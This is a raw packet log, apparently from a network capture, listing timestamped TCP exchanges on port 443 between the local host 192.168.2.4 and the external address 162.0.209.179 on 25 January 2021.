Jan 25, 2021 21:12:39.475152016 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:39.480762005 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:39.480901003 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:39.481908083 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:39.732598066 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:39.818527937 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:39.818579912 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:39.818646908 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:39.818650961 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:39.818691969 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:39.818696976 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:39.818711996 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:39.818732977 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:39.818748951 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:39.818778038 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:39.818783045 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:39.818839073 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:39.820482969 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:39.820561886 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:39.926428080 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:40.133285999 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:40.137948036 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:40.138056040 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:40.138873100 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:40.387552977 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:40.459985018 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:40.460031986 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:40.460088015 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:40.460091114 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:40.460123062 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:40.460131884 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:40.460172892 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:40.460191965 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:40.460202932 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:40.460243940 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:40.460272074 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:40.460319042 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:40.463000059 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:40.463140011 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:40.566030979 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:40.771478891 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:40.776566982 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:40.776731014 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:40.777399063 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:41.022336006 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:41.100502968 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:41.100568056 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:41.100609064 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:41.100626945 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:41.100729942 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:41.100769043 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:41.100785017 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:41.100820065 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:41.100831985 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:41.100856066 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:41.100903034 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:41.100958109 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:41.102047920 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:41.102124929 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:41.206839085 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:41.411540985 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:41.417506933 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:41.417599916 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:41.418765068 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:41.663508892 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:41.746975899 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:41.747068882 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:41.747107983 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:41.747117996 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:41.747150898 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:41.747179985 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:41.747196913 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:41.747221947 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:41.747255087 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:41.747272968 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:41.747302055 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:41.747350931 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:41.749617100 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:41.749715090 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:41.863281012 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:42.067677021 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:42.072479010 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:42.072634935 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:42.073453903 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:42.318886995 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:42.403107882 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:42.403155088 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:42.403208017 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:42.403245926 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:42.403284073 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:42.403294086 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:42.403331041 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:42.403347015 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:42.403363943 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:42.403372049 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:42.403389931 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:42.403426886 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:42.519532919 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:42.724076986 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:42.731848001 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:42.732517958 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:42.733876944 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:42.987844944 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:43.066174030 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:43.066277027 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:43.066315889 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:43.066344976 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:43.066349030 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:43.066441059 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:43.066447973 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:43.066503048 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:43.066509008 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:43.066554070 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:43.066564083 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:43.066616058 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:43.067945004 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:43.068026066 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:43.176134109 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:43.381239891 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:43.388622046 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:43.388772011 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:43.389741898 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:43.635413885 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:43.730387926 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:43.730474949 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:43.730540037 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:43.730540991 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:43.730572939 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:43.730602026 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:43.730618954 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:43.730658054 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:43.730663061 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:43.730715036 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:43.730770111 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:43.730837107 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:43.733529091 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:43.733625889 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:43.847482920 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:44.052138090 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:44.057290077 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:44.057420969 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:44.058157921 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:44.377651930 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:44.470699072 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:44.470879078 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:44.621874094 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:44.711961985 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:44.711999893 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:44.712052107 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:44.712086916 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:44.712110996 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:44.712125063 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:44.712141991 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:44.712188959 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:44.712222099 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:44.712287903 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:44.712510109 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:44.712563992 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:44.816466093 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:45.023833990 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:45.026801109 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:45.026979923 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:45.041817904 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:45.286793947 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:45.372462988 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:45.372529030 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:45.372539043 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:45.372587919 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:45.372591972 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:45.372653961 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:45.372710943 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:45.372729063 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:45.372782946 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:45.372782946 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:45.372821093 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:45.372836113 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:45.372879982 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:45.488791943 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:45.693114042 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:45.698283911 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:45.698920012 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:46.044496059 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:46.289585114 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:46.375281096 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:46.375344992 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:46.375394106 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:46.375425100 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:46.375446081 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:46.375458956 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:46.375497103 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:46.375509024 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:46.375545979 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:46.375552893 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:46.375595093 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:46.377108097 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:46.377187967 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:46.561434031 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:46.765908957 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:46.771429062 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:46.771636009 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:46.847398996 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:47.092735052 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:47.169504881 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:47.169572115 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:47.169601917 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:47.169660091 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:47.169720888 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:47.169745922 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:47.169773102 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:47.169775963 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:47.169847965 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:47.169862032 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:47.171435118 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:47.171572924 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:47.360852957 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:47.565296888 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:47.570734978 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:47.570833921 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:47.571614981 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:47.817205906 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:47.906882048 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:47.906958103 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:47.907018900 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:47.907036066 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:47.907078981 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:47.907100916 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:47.907113075 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:47.907130957 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:47.907140970 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:47.907195091 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:47.907201052 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:47.907258034 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:47.908677101 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:47.908767939 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:48.019505024 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:48.224314928 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:48.229644060 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:48.229712963 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:48.230493069 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:48.475635052 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:48.563235044 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:48.563276052 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:48.563306093 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:48.563317060 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:48.563334942 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:48.563347101 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:48.563352108 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:48.563364029 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:48.563386917 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:48.563396931 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:48.563409090 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:48.563453913 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:48.564996958 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:48.565079927 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:48.675846100 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:48.880253077 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:48.885266066 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:48.885348082 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:48.886059999 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:49.131031036 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:49.213530064 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:49.213566065 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:49.213632107 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:49.213665009 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:49.213715076 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:49.213743925 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:49.213793993 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:49.213984966 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:49.214416981 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:49.320194960 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:49.525007010 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:49.530272961 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:49.531503916 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:49.533222914 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:49.778116941 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:49.853508949 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:49.853569984 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:49.853619099 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:49.853667021 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:49.853717089 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:49.853765011 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:49.853823900 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:49.853857994 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:49.854028940 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:49.855468988 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:49.855685949 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:49.972980022 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:50.177478075 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:50.182878017 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:50.183078051 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:50.183739901 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:50.436894894 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:50.525414944 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:50.525495052 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:50.525557041 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:50.525599003 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:50.525619030 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:50.525630951 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:50.525636911 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:50.525680065 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:50.525681973 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:50.525732994 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:50.525739908 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:50.525789976 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:50.526799917 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:50.526886940 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:50.630137920 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:50.835488081 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:50.842168093 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:50.842340946 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:50.843184948 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:51.086874008 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:51.170291901 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:51.170356989 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:51.170396090 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:51.170422077 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:51.170458078 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:51.170492887 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:51.170496941 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:51.170552969 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:51.170557022 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:51.170614958 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:51.170619011 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:51.170676947 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:51.172178030 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:51.172262907 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:51.285916090 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:51.490997076 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:51.496135950 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:51.496229887 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:51.496972084 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:51.742224932 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:51.830688000 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:51.830751896 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:51.830785036 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:51.830801964 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:51.830836058 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:51.830861092 CET	443	49745	162.0.209.179	192.168.2.4
Jan 25, 2021 21:12:51.830873966 CET	49745	443	192.168.2.4	162.0.209.179
Jan 25, 2021 21:12:51.830909967 CET	443	49745	162.0.209.179	192.168.2.4
